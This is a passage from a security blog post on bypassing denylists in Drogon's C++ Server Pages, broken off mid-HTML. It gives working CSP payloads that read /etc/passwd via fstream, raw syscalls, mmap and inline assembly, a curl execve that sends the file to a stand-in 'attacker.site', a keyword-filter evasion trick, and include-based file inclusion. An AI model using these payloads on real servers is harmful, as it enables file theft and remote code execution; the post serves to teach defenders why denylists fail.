&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;This goes to show how denylists (blacklists) are generally discouraged from a security PoV, as it&#39;s difficult to account for all methods of bypass. In the case of programming languages, however, allowlists (whitelists) are also difficult to construct, as limiting ourselves to a set of tokens severely constrict the realm of possible CSP programs, and may hinder development.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The only solution, really, is to not enable DVLs. More on mitigations later.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;A sufficient denylist needs to consider the following approaches, similar to any C/C++ denylist-bypass challenge. The actual denylist has been left as an exercise for the reader.&lt;/p&gt;
&lt;h4 id=&quot;file-read-write-with-fstream-fopen&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-write-with-fstream-fopen&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read/Write with &lt;code&gt;fstream&lt;/code&gt;, &lt;code&gt;fopen&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;fstream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;sstream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;ifstream ifs&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ifs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;is_open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; ifs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;rdbuf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Failed to open file.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;file-read-write-with-open-read&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-write-with-open-read&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read/Write with &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;If high-level file IO isn&#39;t an option, we could always resort to the lower-level Linux functions.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;file-read-write-rce-with-syscall&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-write-rce-with-syscall&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read/Write, RCE with &lt;code&gt;syscall&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;We can go one level deeper using the &lt;code&gt;syscall()&lt;/code&gt; function. This allows us to call the usual &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, &lt;code&gt;execve&lt;/code&gt; syscalls, albeit less readably.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;       &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;//  read(      open(      &quot;/etc/passwd&quot;, O_RDONLY), buffer, 99);&lt;/span&gt;
    $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Thanks to syscall 59, we can also run &lt;code&gt;execve&lt;/code&gt; to achieve RCE.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;/usr/bin/curl&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;http://attacker.site&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;--data&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;@/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;59&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/usr/bin/curl&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; argv&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Handy Reference: &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;Linux x86 Syscalls - filippo.io&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;file-read-with-mmap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-with-mmap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read with &lt;code&gt;mmap&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;After opening and creating a file descriptor via &lt;code&gt;open&lt;/code&gt; or &lt;code&gt;syscall(2, ...)&lt;/code&gt;, we can also use &lt;code&gt;mmap&lt;/code&gt; to perform a read instead of the usual &lt;code&gt;read&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;sys/mman.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mmap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// mmap(addr, length, memory_protection, flags, fd, offset)&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;file-read-write-rce-via-inline-assembly&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-write-rce-via-inline-assembly&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read/Write, RCE via Inline Assembly&lt;/h4&gt;
&lt;p&gt;Pretty much any syscall in C can be translated to assembly, and GCC&#39;s extended assembly makes it convenient to pass input and output.&lt;/p&gt;
&lt;p&gt;The following CSP opens and reads &lt;code&gt;/etc/passwd&lt;/code&gt; into a buffer, then outputs it. This is equivalent to the open-read idiom we used above.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; file&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;asm&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token raw-string string&quot;&gt;R&quot;(
        mov $2, %%rax;
        lea (%0), %%rdi;
        mov $0, %%rsi;
        syscall;
        
        mov %%rax, %%rdi;
        mov $0, %%rax;
        lea (%1), %%rsi;
        mov $255, %%rdx;
        syscall
    )&quot;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;b&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; file &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;d&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; buffer &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;&amp;quot;b&amp;quot; ( file )&lt;/code&gt; and &lt;code&gt;&amp;quot;d&amp;quot; ( buffer )&lt;/code&gt; are inputs to our asm procedure. The letters &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;d&lt;/code&gt; refer to the &lt;code&gt;%rbx&lt;/code&gt; and &lt;code&gt;%rdx&lt;/code&gt; register. I chose these registers specifically to avoid conflicts. (&lt;code&gt;%rax&lt;/code&gt; gets written with &lt;code&gt;2&lt;/code&gt; on the first line, &lt;code&gt;%rcx&lt;/code&gt; gets overwritten by the first syscall.)&lt;/p&gt;
&lt;p&gt;Exercises for the reader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Try to figure out how the assembly maps to the C syscalls in the previous sections.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;buffer&lt;/code&gt; is technically an output, so why do we treat it as an input?&lt;/li&gt;
&lt;li&gt;Demonstrate RCE by using the execve syscall.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Blocking the keyword &lt;code&gt;syscall&lt;/code&gt; will not work here. We can bypass it with a simple &lt;code&gt;sys&amp;quot; &amp;quot;call&lt;/code&gt;, since adjacent strings are concatenated in C/C++ (&lt;code&gt;&amp;quot;a&amp;quot; &amp;quot;b&amp;quot; == &amp;quot;ab&amp;quot;&lt;/code&gt;). To properly block such calls, we would need to block the functions invoking inline assembly, such as &lt;code&gt;asm&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Handy Reference: &lt;a href=&quot;https://web.archive.org/web/20250215062230/https://www.codeproject.com/Articles/15971/Using-Inline-Assembly-in-C-C&quot;&gt;Using Inline Assembly in C/C++&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;local-file-inclusion-with-include&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#local-file-inclusion-with-include&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Local File Inclusion with  &lt;code&gt;#include&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then &lt;code&gt;#include&lt;/code&gt;-ing it in the CSP. All &lt;code&gt;#include&lt;/code&gt; really does is copy-paste the included file&#39;s content, which then gets compiled as C/C++ code.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Example.csp - with stringent checks on denied words.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc #include &lt;span class=&quot;token string&quot;&gt;&quot;safe.txt&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy 